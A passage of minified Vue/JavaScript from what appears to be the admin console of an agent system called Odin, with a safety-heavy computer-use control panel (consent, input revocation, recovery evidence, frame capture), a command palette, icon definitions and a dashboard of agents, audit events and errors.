    +
    + + +
    +

    Lifecycle controls require a successful authenticated administrator status check.

    +

    Applying lifecycle change and checking status…

    +

    Enabling does not prove backend readiness or start a session. Session startup checks capabilities. Unavailable input remains unavailable.

    +

    Input unavailable: this backend cannot act. Enabling computer use does not grant mouse or keyboard control.

    +

    Input capability is unknown. Do not assume this backend can act.

    +

    Backend reports input support; session authorization and startup checks still apply.

    +

    Readiness: {{ status.backend.readiness }}. Input blocker: {{ status.backend.input_blocker }}.

    +

    Display capture access is not application inspection access. Provision the worker under the desktop user's identity, or explicitly configure runtime_sudo and its restricted worker permissions. This page does not elevate privileges.

    +

    Runtime settings are generation-pinned. Pending restart-required settings are not live; this page does not restart Odin.

    +
    + +
    +

    Hyprland native input: best-effort

    +

    A hard guardian SIGKILL can leave owned input held. Releasing Odin's button may clobber the physical user's simultaneous same-button hold. Cooperative release acknowledgments are not receiver-side proof. These accepted residuals apply only to Hyprland.

    +

    Native capture is limited to the explicitly consented output. There is no portal fallback. Recovery revokes input and capture, leaves the session paused, and requires renewed consent and a fresh observation.

    + +

    {{ status.owned_input_recovery.released ? 'Cooperative release acknowledged; receiver-side release is not verified.' : 'Release not confirmed. Inspect the desktop and use documented operator recovery; do not resume input.' }}

    +
    +
    +
    +

    Desktop accessibility (AT-SPI)

    + {{ accessibilityLabel }} +
    +

    AT-SPI is Linux's accessibility interface. Enabling it lets Odin target UI elements by identity and replace field contents reliably when the application exposes editable elements.

    +

    Without accessible elements, Odin can use pixels and coordinates. Field replacement uses the explicit pixel action (replace_field_pixels): click an observed field, select all, then type. It is less reliable and needs visual verification; identity-based replace_field never silently switches paths.

    +

    Enabled is a session setting, not proof that a particular application exposes editable elements or that input is authorized. Fresh observations, application safety checks and consent still apply.

    +

    Read-only org.a11y.Status IsEnabled check for the configured runtime operator session, refreshed with status about every 5 seconds while this page is open. {{ accessibilityDetail }}

    +

    This page does not enable or disable accessibility. Change it explicitly in your desktop's accessibility settings; that affects your whole user session, not just Odin.

    +
    +
    +
    +

    Input eligibility evidence

    + {{ status.input_admission.state }} +
    +
    +

    {{ status.input_admission.state }}: {{ status.input_admission.code }}

    +

    Compositor: {{ status.input_admission.compositor.name }} {{ status.input_admission.compositor.version }} ({{ status.input_admission.compositor.backend }}). Build: {{ status.input_admission.compositor.build_id }}.

    +

    {{ status.input_admission.reason }}

    +

    Operator action: {{ status.input_admission.remedy }}

    +

    Probe scope: {{ status.input_admission.probe_scope }}.

    +
    +

    Behavior was tested in a separate disposable compositor with the matched stack, not by abandoning held input on your desktop.

    +

    Eligibility evidence does not replace current backend consent, source mapping or application checks. Opening this page runs no input probe.

    +
    +
    +
    +

    Application profiles

    +
    +
      +
    • + {{ profile.label }}: {{ profile.input === 'supported' ? 'Input eligible' : 'Capture only' }} + (application provenance unavailable) +

      {{ profile.task_scope }}

      +
    • +
    +

    No application profiles reported for this backend.

    +

    Profiles describe supported scope, not installation, focus, permission or task success. Input readiness is checked against a fresh observation.

    +
    +
    +
    +

    Attached application

    +
    +

    Focus the application you want help with, then ask in ordinary chat. There is no application allowlist. Normal dialogs, file pickers, menus and document open/new/close/reopen are ordinary use. Session Stop only detaches input; applications stay open.

    +

    Denied classes remain blocked: terminals, shells, authentication and password prompts, polkit, keyring, sudo and Odin control-plane windows. Session authorization, current target checks and input-release checks still apply.

    +
    +
    Observed executable
    {{ status.application_provenance?.exe_basename || 'Not observed' }}
    +
    Observed WM_CLASS
    {{ status.application_provenance?.wm_class || 'Not observed' }}
    +
    Observed PID
    {{ status.application_provenance?.pid ?? 'Not observed' }}
    +
    Trusted executable metadata
    {{ status.application_provenance?.trusted_executable === true ? 'Yes' : status.application_provenance?.trusted_executable === false ? 'No' : 'Unknown' }}
    +
    Script identity evidence
    {{ scriptIdentity }}
    +
    Pointer
    {{ status.backend?.pointer || 'unknown' }}
    +
    Keyboard focus
    {{ status.backend?.keyboard_focus || 'unknown' }}
    +
    Widget focus
    {{ status.backend?.widget_focus || 'unknown' }}
    +
    +

    Provenance describes the last observed target, not application approval or task success. Untrusted executable metadata is evidence, not an application refusal. Focus within one window may be shared even with an independent pointer. Unknown capabilities are not proof of independence.

    +

    Per-call input bounds: {{ inputLimits }}. These limits are not application restrictions.

    +
    +
    Disabled or unavailable. Check configured state, lifecycle state and backend prerequisites separately.
    +
    {{ adminReady ? 'Agent input is revoked.' : 'Last-known session was paused; this is not current evidence of revocation.' }} This inspector does not provide remote mouse or keyboard control. Resume requires a renewed generation and fresh evidence.
    +
    Outcome is unknown. Refresh status; do not replay the last action.
    +
    +
    +

    Recovery evidence

    + {{ status.recovery.complete ? 'Verified' : 'Review required' }} +
    +

    {{ status.recovery.status }}: {{ status.recovery.reason }}. Cleanup {{ status.recovery.complete ? 'verified' : 'not verified' }}.

    +

    Reconciliation only inspects the recorded workload. It never sends input, terminates applications or replays actions.

    + +
    +

    Manual reconciliation is an operator attestation, not verified cleanup. Independently inspect the desktop: no held input, owned master devices or workers may remain. Known running workers also block this request. The failed action remains unknown and is never replayed.

    + + + +
    +
    +
    +
    +

    Session details

    +
    +
    +
    Owner
    —
    +
    Session
    {{ status.session_id || '—' }}
    +
    Application
    {{ status.app || '—' }}
    +
    Last action / verification
    {{ status.last_action || '—' }} / {{ status.last_verification || 'unavailable' }}
    +
    +
    + +
    +
    +
    +

    Visual evidence

    +

    Frames are captured only on request. Opening or refreshing this view never captures or posts an image.

    +
    +
    + + + +
    +
    +
    +
    {{ freshness }} · Captured {{ frame.captured_at }} · Private evidence expires {{ frame.expires_at }}
    + Requested frame from the authorized application; read-only +
    +

    Frame expired. Observe again for current evidence.

    +
    + +
    +
    +
    +
    +

    Export a saved workspace file

    +

    Choose one exact filename, not a host path. Downloads are never executed.

    +
    +
    + +
    + + +
    +
    +
    + + Expires {{ artifact.expires_at }} +
    +
    +
    +
    `,setup(){const t=f({state:"unknown",available:!1}),e=f(!1),s=f(!1),n=f(!1),a=f(!1),i=f(!1),l=f(!1),r=f(""),o=f(!1),c=f(!1),u=f(!1),d=f(0),p=f(""),B=f(""),h=f(null),b=f(""),w=f(!1),_=f(Date.now()),C=f(""),v=f(null);let m=0,y=null,k=!1,x=U.token,A=0,S=null,L=null,O=!1;const I=W=>W===!0?"Enabled":W===!1?"Disabled":"Unknown",J=G(()=>{var W;return((W=t.value.backend)==null?void 0:W.environment)==="existing_session"}),ie=G(()=>{var pe;const W=Date.parse(((pe=t.value.accessibility)==null?void 0:pe.checked_at)||"");return c.value&&Number.isFinite(W)&&_.value-W<15e3&&_.value>=W-5e3}),te=G(()=>{var W;return ie.value?I((W=t.value.accessibility)==null?void 0:W.enabled):"Unknown / not current"}),R=G(()=>{var W;return ie.value?((W=t.value.accessibility)==null?void 0:W.reason)==="property_read"?"Last checked: "+t.value.accessibility.checked_at:"Property unavailable for this target. Isolated sessions, an unbound operator identity, an inactive accessibility service or an inaccessible session bus may prevent this read. Unknown does not mean disabled.":"No current property read; unknown does not mean disabled."}),j=G(()=>Object.entries(t.value.input_limits||{}).filter(([,W])=>typeof W=="number"&&Number.isFinite(W)).map(([W,pe])=>`${W}: ${pe}`).join(", ")),N=G(()=>{var pe;const W=(pe=t.value.application_provenance)==null?void 0:pe.script_identity;return typeof W=="string"?W:!W||typeof W!="object"?"Not observed":`${W.interpreter_basename||"Unknown interpreter"}; argv digest ${W.argv_digest||"not recorded"}; ${W.verified===!0?"verified":"not verified"}`}),z=G(()=>Array.isArray(t.value.application_profiles)?t.value.application_profiles.filter(W=>W&&typeof W.id=="string"&&typeof W.label=="string"&&["supported","capture_only"].includes(W.input)).slice(0,16):[]),ee=G(()=>{const W=t.value.restart_required;return Array.isArray(W)?W.length?W.join(", "):"None reported":W===!0?"Pending; restart required":W===!1?"None reported":"Unknown"}),Q=G(()=>{var pe,ne;const W=Date.parse(((pe=h.value)==null?void 0:pe.captured_at)||"");return Number.isFinite(W)&&_.value2097152||!Number.isFinite(Date.parse(ke.frame.expires_at))||Date.parse(ke.frame.expires_at)<=Date.now())throw new Error("Invalid evidence");h.value=ke.frame,b.value=URL.createObjectURL(we),r.value=""}catch(ke){K(W,pe)&&Ge(ke)}finally{W===m&&(s.value=!1)}}async function Ce(){if(!_e()||i.value||!t.value.available)return;v.value=null;const W=m,pe=U.token;i.value=!0;try{const ne=await U.post("/api/computer/export",{name:C.value});K(W,pe)&&(v.value=ne,r.value="")}catch(ne){K(W,pe)&&Ge(ne)}finally{W===m&&(i.value=!1)}}async function fe(){if(!_e()||l.value||!v.value)return;const W=m,pe=U.token,ne=v.value;l.value=!0;try{if(!/^[A-Za-z0-9_-]{8,128}$/.test((ne==null?void 0:ne.artifact_id)||""))throw new Error("Invalid export");const ke=await U.getBlob("/api/computer/download/"+ne.artifact_id);if(!K(W,pe))return;const we=URL.createObjectURL(ke),Le=document.createElement("a");Le.href=we,Le.download=ne.name,Le.click(),setTimeout(()=>URL.revokeObjectURL(we),1e3)}catch(ke){K(W,pe)&&Ge(ke)}finally{W===m&&(l.value=!1)}}function be(){k||(x!==U.token&&(x=U.token,re(),d.value=0,L=null,t.value={state:"unknown",available:!1},r.value="",p.value=""),k=!0,de(),y=setInterval(()=>{_.value=Date.now(),x!==U.token&&(x=U.token,re(),d.value=0,L=null,r.value="",p.value="",t.value={state:"unknown",available:!1}),c.value&&_.value-d.value>=15e3&&re(),h.value&&Date.parse(h.value.expires_at)<=_.value&&(Y(),w.value=!0),v.value&&Date.parse(v.value.expires_at)<=_.value&&(v.value=null),!O&&_.value-A>=5e3&&de()},500))}function Ae(){k=!1,clearInterval(y),y=null,re(),c.value=!1}return dt(be),hs(be),as(Ae),It(Ae),{status:t,checkedAt:d,remedy:p,loading:e,observing:s,stopping:n,pausing:a,exporting:i,downloading:l,error:r,frame:h,frameUrl:b,frameExpired:w,freshness:Q,name:C,artifact:v,refresh:de,control:$,observe:V,clearFrame:Y,exportFile:Ce,download:fe,toggling:o,adminReady:c,enabledLabel:I,restartSettings:ee,setEnabled:ve,recovering:u,recover:De,reconcile:E,releaseOwnedInput:se,reconciliationAck:B,applicationProfiles:z,attached:J,scriptIdentity:N,inputLimits:j,accessibilityLabel:te,accessibilityDetail:R}}},Ib=[{id:"health",label:"Health",component:sS},{id:"resources",label:"Resources",component:nS},{id:"logs",label:"Logs",component:$S},{id:"config",label:"Config",component:e1},{id:"discord",label:"Discord",component:s1},{id:"hosts",label:"Hosts",component:i1},{id:"host-access",label:"Host Access",component:a1},{id:"api-tokens",label:"API Tokens",component:l1},{id:"llm",label:"LLM Config",component:f1},{id:"internals",label:"Internals",component:h1},{id:"turn-state",label:"Turn State",component:v1},{id:"computer",label:"Computer",component:x1},{id:"update",label:"Update",component:b1}],w1={components:{TabbedPage:iu},setup(){return{tabs:Ib}},template:''},zo=(t,e,s,n)=>n.map(({id:a,label:i})=>({group:t,label:i,icon:e,to:{path:s,query:{tab:a}}})),_1=[{group:"Workspace",label:"Dashboard",icon:"dashboard",to:{path:"/dashboard"}},{group:"Workspace",label:"Chat",icon:"chat",to:{path:"/chat"}},...zo("Operations","operations","/operations",hb),...zo("History","history","/history",mb),...zo("Capabilities","capabilities","/capabilities",vb),{group:"Manage",label:"Personality",icon:"personality",to:{path:"/personality"}},...zo("System","system","/system",Ib)],Bn=Bi({open:!1,query:"",selected:0});function Nh(){Bn.query="",Bn.selected=0,Bn.open=!0}function Qu(){Bn.open=!1}function E1(t,e){const s=t.label.toLowerCase(),n=`${t.group} ${t.label}`.toLowerCase();return e?s.startsWith(e)?100:n.startsWith(e)?80:s.includes(e)?60:n.includes(e)?40:0:1}const k1={setup(){const t=rb(),e=f(null),s=G(()=>{const i=Bn.query.trim().toLowerCase();return _1.map(l=>({...l,_score:E1(l,i)})).filter(l=>l._score>0).sort((l,r)=>r._score-l._score)});us(()=>Bn.open,async i=>{var l;i&&(await ns(),(l=e.value)==null||l.focus())}),us(()=>Bn.query,()=>{Bn.selected=0});function n(i){Qu(),t.push(i.to)}function a(i){if(i.key==="Escape"){i.preventDefault(),Qu();return}if(i.key==="ArrowDown")i.preventDefault(),Bn.selected=Math.min(Bn.selected+1,s.value.length-1);else if(i.key==="ArrowUp")i.preventDefault(),Bn.selected=Math.max(Bn.selected-1,0);else if(i.key==="Enter"){i.preventDefault();const l=s.value[Bn.selected];l&&n(l)}}return{state:Bn,results:s,inputEl:e,go:n,onKeydown:a,closePalette:Qu}},template:` + + + + `},$d={brand:"M12 3 4.5 8v8L12 21l7.5-5V8L12 3Zm0 4.2 4.6 3.1L12 16.8l-4.6-6.5L12 7.2Zm0 3.3v3.7",dashboard:"M4 13h6V4H4v9Zm0 7h6v-4H4v4Zm10 0h6v-9h-6v9Zm0-16v4h6V4h-6Z",chat:"M20 15a3 3 0 0 1-3 3H9l-5 3v-6a3 3 0 0 1-1-2.2V7a3 3 0 0 1 3-3h11a3 3 0 0 1 3 3v8Z",operations:"M5 12h3l2-6 4 12 2-6h3M4 4v16h16",history:"M4 12a8 8 0 1 0 2.3-5.7L4 8.5M4 4v4.5h4.5M12 7v5l3 2",home:"M3 11.5 12 4l9 7.5M5.5 10v10h13V10M9 20v-6h6v6",users:"M16 20v-2a4 4 0 0 0-4-4H6a4 4 0 0 0-4 4v2m7-10a4 4 0 1 0 0-8 4 4 0 0 0 0 8Zm13 10v-2a4 4 0 0 0-3-3.9m-2-11.8a4 4 0 0 1 0 7.7",capabilities:"M14.7 6.3a4 4 0 0 0-5.6 5.6L4 17v3h3v-2h2v-2h2l1.1-1.1a4 4 0 0 0 5.6-5.6l-3 3-3-3 3-3Z",personality:"M12 3a8 8 0 0 0-8 8c0 4 3 7 7 7v3h3v-3c3 0 6-3 6-7a8 8 0 0 0-8-8ZM8.5 10h.01M15.5 10h.01M9 14c1.7 1.2 4.3 1.2 6 0",system:"M12 8a4 4 0 1 0 0 8 4 4 0 0 0 0-8Zm0-5v2m0 14v2M3 12h2m14 0h2M5.6 5.6 7 7m10 10 1.4 1.4M18.4 5.6 17 7M7 17l-1.4 1.4",menu:"M4 7h16M4 12h16M4 17h16",panelLeft:"M9 4H5a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h4V4Zm0 0h10a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2H9M6 8h.01M6 12h.01",chevronLeft:"m15 18-6-6 6-6",chevronRight:"m9 18 6-6-6-6",chevronDown:"m6 9 6 6 6-6",chevronUp:"m18 15-6-6-6 6",search:"m21 21-4.3-4.3M19 11a8 8 0 1 1-16 0 8 8 0 0 1 16 0Z",logout:"M10 17l5-5-5-5m5 5H3m10-8h5a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2h-5",success:"m5 12 4 4L19 6",warning:"M12 3 2.8 20h18.4L12 3Zm0 6v4m0 3h.01",info:"M12 21a9 9 0 1 0 0-18 9 9 0 0 0 0 18Zm0-8v4m0-8h.01",error:"M12 21a9 9 0 1 0 0-18 9 9 0 0 0 0 18Zm-3-12 6 6m0-6-6 6",edit:"M4 20h4l11-11-4-4L4 16v4Zm9-13 4 4",trash:"M4 7h16m-10 4v5m4-5v5M9 4h6l1 3H8l1-3Zm-3 3 1 13h10l1-13",brain:"M9 5a3 3 0 0 0-5 2.2A3.5 3.5 0 0 0 4 14a3 3 0 0 0 5 2.2V5Zm6 0a3 3 0 0 1 5 2.2 3.5 3.5 0 0 1 0 6.8 3 3 0 0 1-5 2.2V5ZM9 9H7m2 4H6m9-4h2m-2 4h3M12 4v16",refresh:"M20 6v5h-5M4 18v-5h5M18.5 10A7 7 0 0 0 6 7.5L4 11m16 2-2 3.5A7 7 0 0 1 5.5 14",close:"M6 6l12 12M18 6 6 18",command:"M7 8a3 3 0 1 1-3-3h3v14a3 3 0 1 1-3-3h13a3 3 0 1 1-3 3V5a3 3 0 1 1 3 3H7Z",external:"M14 4h6v6m0-6-9 9M19 13v6a1 1 0 0 1-1 1H5a1 1 0 0 1-1-1V6a1 1 0 0 1 1-1h6",activity:"M4 12h4l2-5 4 10 2-5h4",shield:"M12 3 5 6v5c0 4.5 2.8 7.7 7 10 4.2-2.3 7-5.5 7-10V6l-7-3Z",database:"M20 6c0 1.7-3.6 3-8 3S4 7.7 4 6s3.6-3 8-3 8 1.3 8 3Zm0 0v6c0 1.7-3.6 3-8 3s-8-1.3-8-3V6m16 6v6c0 1.7-3.6 3-8 3s-8-1.3-8-3v-6",server:"M4 4h16v6H4V4Zm0 10h16v6H4v-6Zm3-7h.01M7 17h.01",terminal:"M5 7l4 4-4 4m6 1h8M3 4h18v16H3V4Z",wrench:"M14.7 6.3a4 4 0 0 0-5.6 5.6L4 17v3h3v-2h2v-2h2l1.1-1.1a4 4 0 0 0 5.6-5.6l-3 3-3-3 3-3Z",bot:"M8 4h8m-4-2v2M5 8h14a2 2 0 0 1 2 2v8H3v-8a2 2 0 0 1 2-2Zm3 4h.01M16 12h.01M8 16h8M3 13H1m22 0h-2",workflow:"M5 5h5v5H5V5Zm9 9h5v5h-5v-5ZM10 7.5h4a3 3 0 0 1 3 3V14M7.5 10v4a3 3 0 0 0 3 3H14",globe:"M12 21a9 9 0 1 0 0-18 9 9 0 0 0 0 18Zm0-18c2.2 2.5 3.3 5.5 3.3 9S14.2 18.5 12 21m0-18C9.8 5.5 8.7 8.5 8.7 12s1.1 6.5 3.3 9M3 12h18",book:"M4 5a3 3 0 0 1 3-2h5v17H7a3 3 0 0 0-3 1V5Zm16 0a3 3 0 0 0-3-2h-5v17h5a3 3 0 0 1 3 1V5Z",message:"M4 4h16v13H8l-4 4V4Zm4 5h8m-8 4h5",puzzle:"M9 4h3a2 2 0 1 1 4 0h4v5a2 2 0 1 0 0 4v7h-7a2 2 0 1 1-4 0H4v-7a2 2 0 1 0 0-4V4h5",sparkles:"m12 3 1.2 3.8L17 8l-3.8 1.2L12 13l-1.2-3.8L7 8l3.8-1.2L12 3Zm6 10 .8 2.2L21 16l-2.2.8L18 19l-.8-2.2L15 16l2.2-.8L18 13ZM5 14l1 2.8L9 18l-3 1.2L5 22l-1-2.8L1 18l3-1.2L5 14Z",link:"M9.5 14.5 14.5 9m-7 8H6a4 4 0 0 1 0-8h3m6 0h3a4 4 0 0 1 0 8h-3",file:"M6 3h8l4 4v14H6V3Zm8 0v5h5M9 13h6m-6 4h6",folder:"M3 6h7l2 2h9v11H3V6Z",image:"M4 4h16v16H4V4Zm3 12 4-4 3 3 2-2 4 4M9 9h.01",attachment:"m8 12 5-5a3 3 0 1 1 4 4l-7 7a5 5 0 0 1-7-7l7-7",clock:"M12 21a9 9 0 1 0 0-18 9 9 0 0 0 0 18Zm0-13v5l3 2",calendar:"M5 5h14v15H5V5Zm3-2v4m8-4v4M5 10h14",chart:"M4 20V10m5 10V4m5 16v-7m5 7V7M2 20h20",sliders:"M4 7h10m4 0h2M4 17h2m4 0h10M16 4v6M8 14v6",code:"m9 6-6 6 6 6m6-12 6 6-6 6",copy:"M8 8h11v12H8V8Zm-3 8H4V4h11v1",play:"m8 5 11 7-11 7V5Z",grid:"M4 4h6v6H4V4Zm10 0h6v6h-6V4ZM4 14h6v6H4v-6Zm10 0h6v6h-6v-6Z",list:"M9 6h11M9 12h11M9 18h11M4 6h.01M4 12h.01M4 18h.01",target:"M12 21a9 9 0 1 0 0-18 9 9 0 0 0 0 18Zm0-5a4 4 0 1 0 0-8 4 4 0 0 0 0 8Zm0-4h.01",rotate:"M20 6v5h-5M4 18v-5h5M18.5 10A7 7 0 0 0 6 7.5L4 11m16 2-2 3.5A7 7 0 0 1 5.5 14",archive:"M4 8h16v12H4V8Zm-1-4h18v4H3V4Zm6 8h6",flame:"M12 22c4 0 7-3 7-7 0-5-4-7-4-11-3 2-5 5-5 8-1-1-2-3-1-5-3 2-5 5-5 8 0 4 3 7 8 7Z",eye:"M2 12s3.5-6 10-6 10 6 10 6-3.5 6-10 6S2 12 2 12Zm10 3a3 3 0 1 0 0-6 3 3 0 0 0 0 6Z",upload:"M12 16V4m-5 5 5-5 5 5M5 20h14",download:"M12 4v12m-5-5 5 5 5-5M5 20h14",undo:"M9 7 4 12l5 5m-5-5h10a6 6 0 0 1 6 6",redo:"m15 7 5 5-5 5m5-5H10a6 6 0 0 0-6 6",minus:"M5 12h14",plus:"M12 5v14M5 12h14",network:"M12 3v4m0 10v4M3 12h4m10 0h4M7.8 7.8l2.1 2.1m4.2 4.2 2.1 2.1m0-8.4-2.1 2.1m-4.2 4.2-2.1 2.1M12 16a4 4 0 1 0 0-8 4 4 0 0 0 0 8Z",more:"M6 12h.01M12 12h.01M18 12h.01",pause:"M9 5v14m6-14v14",sort:"M8 5v14m0 0-3-3m3 3 3-3M16 19V5m0 0-3 3m3-3 3 3"};Object.freeze(Object.keys($d));const D1={name:"OdinIcon",props:{name:{type:String,required:!0},size:{type:[Number,String],default:18},strokeWidth:{type:[Number,String],default:1.8}},setup(t,{attrs:e}){return()=>Tl("svg",{...e,class:["odin-icon",e.class],width:t.size,height:t.size,viewBox:"0 0 24 24",fill:"none",stroke:"currentColor","stroke-width":t.strokeWidth,"stroke-linecap":"round","stroke-linejoin":"round","aria-hidden":e["aria-label"]?void 0:"true",focusable:"false"},[Tl("path",{d:$d[t.name]||$d.info})])}},S1=["a[href]","button:not([disabled])",'input:not([disabled]):not([type="hidden"])',"select:not([disabled])","textarea:not([disabled])",'[tabindex]:not([tabindex="-1"])'].join(",");function Fh(t){return[...t.querySelectorAll(S1)].filter(e=>!e.hasAttribute("hidden")&&e.getAttribute("aria-hidden")!=="true")}const T1={mounted(t){const e=document.activeElement,s=n=>{if(n.key!=="Tab")return;const a=Fh(t);if(!a.length){n.preventDefault(),t.focus();return}const i=a[0],l=a[a.length-1];n.shiftKey&&document.activeElement===i?(n.preventDefault(),l.focus()):!n.shiftKey&&document.activeElement===l&&(n.preventDefault(),i.focus())};t.__odinModalFocus={previous:e,onKeydown:s},t.addEventListener("keydown",s),requestAnimationFrame(()=>{(t.querySelector("[autofocus]")||Fh(t)[0]||t).focus()})},unmounted(t){var s;const e=t.__odinModalFocus;e&&(t.removeEventListener("keydown",e.onKeydown),(s=e.previous)!=null&&s.isConnected&&typeof e.previous.focus=="function"&&requestAnimationFrame(()=>e.previous.focus()),delete t.__odinModalFocus)}},A1={template:` +
    + +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    + + + + +
    + +
    +
    +
    + + + + + +
    +
    +
    Odin
    +
    + + {{ status.status === 'online' ? 'Online' : 'Starting' }} + · + {{ uptime }} +
    +
    +
    +
    + + + +
    +
    + + +
    +
    +
    + + {{ s.label }} +
    +
    {{ s.value }}
    +
    {{ s.sub }}
    +
    +
    + + +
    +
    System Health
    +
    +
    + + {{ h.label }} + {{ h.detail }} +
    +
    +
    + + +
    + + +
    +
    + Active Agents + {{ agents.length }} +
    +
    + + No active agents +
    +
    +
    +
    + + {{ a.label }} + {{ a.iteration_count }} iters +
    +
    {{ a.goal }}
    +
    + {{ formatDuration(a.runtime_seconds) }} + {{ a.tools_used_count }} tools +
    +
    +
    +
    + + +
    +
    + + Recent Activity + +{{ newEventCount }} + + +
    +
    Loading...
    +
    + + No recent activity +
    +
    +
    + + {{ a.tool_name }} + {{ formatTime(a.timestamp) }} +
    +
    +
    + + +
    + +
    +
    + Guilds +
    +
    + + No guilds +
    +
    +
    + + {{ g.name }} + {{ g.member_count }} +
    +
    +
    + + +
    +
    + Recent Errors + {{ errors.length }} +
    +
    + + Couldn't load recent errors +
    +
    + + All clear +
    +
    +
    Refresh failed — showing known errors
    +
    +
    + + {{ e.tool_name }} + {{ formatTime(e.timestamp) }} +
    +
    {{ e.error }}
    +
    +
    +
    +
    +
    +
    +
    `,setup(){const t=f({}),e=f(!0),s=f(null),n=f([]),a=f(!1),i=f([]),l=f(!1),r=f(!1),o=f([]),c=f(0),u=f(null),d=f({reload:!1,clearSessions:!1,stopLoops:!1});let p=0;const B=G(()=>{const ee=t.value.uptime_seconds||0,Q=Math.floor(ee/86400),Y=Math.floor(ee%86400/3600),re=Math.floor(ee%3600/60),K=[];return Q>0&&K.push(`${Q}d`),Y>0&&K.push(`${Y}h`),(K.length===0||Q===0&&Y===0)&&K.push(`${re}m`),K.join(" ")}),h=G(()=>{const ee=t.value.uptime_seconds||0;return 125.66*(1-Math.min(ee/86400,1))}),b=G(()=>{const ee=t.value;return[{label:"Guilds",value:ee.guild_count??0,icon:"home",iconColor:"text-blue-400"},{label:"Sessions",value:ee.session_count??0,icon:"message",iconColor:"text-yellow-400"},{label:"Tools",value:ee.tool_count??0,icon:"wrench",iconColor:"text-purple-400",sub:`${ee.skill_count??0} skills`,subColor:"text-gray-500"},{label:"Loops",value:ee.loop_count??0,icon:"rotate",iconColor:"text-green-400",color:ee.loop_count>0?"text-green-400":"",highlight:ee.loop_count>0},{label:"Agents",value:ee.agent_running??0,icon:"bot",iconColor:"text-cyan-400",sub:ee.agent_count>0?`${ee.agent_count} total`:"",subColor:"text-gray-500",highlight:(ee.agent_running??0)>0},{label:"Processes",value:ee.process_running??0,icon:"sliders",iconColor:"text-orange-400",sub:ee.process_count>0?`${ee.process_count} total`:"",subColor:"text-gray-500",highlight:(ee.process_running??0)>0},{label:"Schedules",value:ee.schedule_count??0,icon:"clock",iconColor:"text-amber-400",sub:(ee.schedule_failing>0?`${ee.schedule_failing} failing`:"")+(ee.schedule_failing>0&&ee.schedule_paused>0?", ":"")+(ee.schedule_paused>0?`${ee.schedule_paused} paused`:"")||void 0,subColor:ee.schedule_failing>0?"text-red-400":"text-yellow-400",color:ee.schedule_failing>0?"text-red-400":"",highlight:ee.schedule_failing>0},{label:"Users",value:ee.user_count??0,icon:"users",iconColor:"text-indigo-400"},...u.value!==null?[{label:"Knowledge",value:u.value,icon:"book",iconColor:"text-teal-400",sub:"chunks",subColor:"text-gray-500"}]:[]]}),w=G(()=>{const ee=t.value,Q=[];return Q.push({label:"Bot",status:ee.status==="online"?"ok":"warn",detail:ee.status==="online"?"Online":"Starting"}),(ee.schedule_failing||0)>0?Q.push({label:"Schedules",status:"error",detail:`${ee.schedule_failing} failing`}):(ee.schedule_count||0)>0&&Q.push({label:"Schedules",status:"ok",detail:`${ee.schedule_count} configured`}),(ee.loop_count||0)>0&&Q.push({label:"Loops",status:"ok",detail:`${ee.loop_count} active`}),(ee.agent_running||0)>0&&Q.push({label:"Agents",status:"ok",detail:`${ee.agent_running} running`}),(ee.process_running||0)>0&&Q.push({label:"Processes",status:"ok",detail:`${ee.process_running} running`}),Q});async function _(){try{t.value=await U.get("/api/status"),s.value=null}catch(ee){s.value=ee.message}finally{e.value=!1}}let C=0,v=0,m=0,y=0;function k(ee,Q){const Y=new Set;return[...Q,...ee].filter(re=>{const K=re._hmac||JSON.stringify([re.timestamp,re.tool_name,re.user_id,re.result_summary,re.error]);return Y.has(K)?!1:(Y.add(K),!0)})}async function x(){const ee=++C,Q=m;a.value=!0;try{const Y=await U.get("/api/audit?limit=10");if(ee!==C)return;const re=Q===m?[]:n.value.filter(K=>(K._liveEpoch||0)>Q);n.value=k(Y,re).slice(0,10),c.value=re.length}catch{}ee===C&&(a.value=!1)}async function A(){const ee=++v,Q=y;l.value=!0;try{const Y=await U.get("/api/audit?error_only=1&limit=5");if(ee!==v)return;const re=Q===y?[]:i.value.filter(K=>(K._liveErrorEpoch||0)>Q);i.value=k(Y,re).slice(0,5),r.value=!1}catch{if(ee!==v)return;r.value=Q===y||i.value.length===0}ee===v&&(l.value=!1)}async function S(){try{const ee=await U.get("/api/knowledge");u.value=(Array.isArray(ee)?ee:[]).reduce((Q,Y)=>Q+(Y.chunks||0),0)}catch{u.value=null}}async function L(){try{const ee=await U.get("/api/agents");o.value=ee.filter(Q=>Q.status==="running")}catch{}}async function O(){d.value={...d.value,reload:!0};try{await U.post("/api/reload"),Ie.success("Config reloaded")}catch(ee){Ie.error(ee.message)}d.value={...d.value,reload:!1}}async function I(){if(!await Es({title:"Clear all sessions",message:"Clear all conversation sessions? This cannot be undone.",confirmLabel:"Clear All",danger:!0}))return;d.value={...d.value,clearSessions:!0};const Q=t.value.session_count;t.value={...t.value,session_count:0};try{const Y=await U.post("/api/sessions/clear-all");Ie.success(`Cleared ${Y.count} session${Y.count!==1?"s":""}`),await _()}catch(Y){t.value={...t.value,session_count:Q},Ie.error(Y.message)}d.value={...d.value,clearSessions:!1}}async function J(){if(!await Es({title:"Stop all loops",message:"Stop all running loops?",confirmLabel:"Stop Loops",danger:!0}))return;d.value={...d.value,stopLoops:!0};const Q=t.value.loop_count;t.value={...t.value,loop_count:0};try{const Y=await U.post("/api/loops/stop-all");Ie.success(Y.result),await _()}catch(Y){t.value={...t.value,loop_count:Q},Ie.error(Y.message)}d.value={...d.value,stopLoops:!1}}function ie(){e.value=!0,s.value=null,_(),x(),A(),L()}let te=null,R=null,j=null;function N(ee){if(ee.payload&&ee.payload.tool_name){m+=1;const Q={...ee.payload,_isNew:!0,_key:++p,_liveEpoch:m};n.value.unshift(Q),n.value.length>10&&n.value.pop(),c.value++,Q.error&&(y+=1,Q._liveErrorEpoch=y,r.value=!1,i.value.unshift(Q),i.value.length>5&&i.value.pop()),setTimeout(()=>{Q._isNew=!1},1500),clearTimeout(j),j=setTimeout(()=>{c.value=0},1e4)}}let z=null;return dt(async()=>{await 